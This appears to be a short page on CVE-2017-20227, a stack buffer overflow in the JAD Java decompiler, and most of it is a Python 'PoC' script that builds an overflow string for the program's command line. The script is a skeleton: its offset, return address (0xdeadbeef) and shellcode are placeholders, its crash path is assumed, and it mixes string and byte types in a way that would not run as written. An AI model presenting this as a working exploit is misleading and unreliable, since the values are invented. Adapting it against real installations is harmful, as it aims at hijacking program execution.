CVE-2017-20227 JAD Java Decompiler栈溢出漏洞

#!/usr/bin/env python # PoC for CVE-2017-20227 (JAD Stack Buffer Overflow) # This script generates a malicious file to trigger the overflow. import struct # Offset to overwrite EIP (Example value, adjust based on specific binary analysis) offset = 412 # ROP chain to spawn shell (Example placeholders) rop_chain = "A" * offset rop_chain += struct.pack('<I', 0xdeadbeef) # Overwrite EIP with gadget address rop_chain += "C" * 100 # Padding / Shellcode placeholder # Create a malicious .class file with a long name or pass argument # Assuming the crash happens via command line argument payload = rop_chain print("[+] Generating payload...") print("[+] Payload length: {}".format(len(payload))) # Command to simulate crash (requires vulnerable jad binary) # print("Usage: jad " + payload)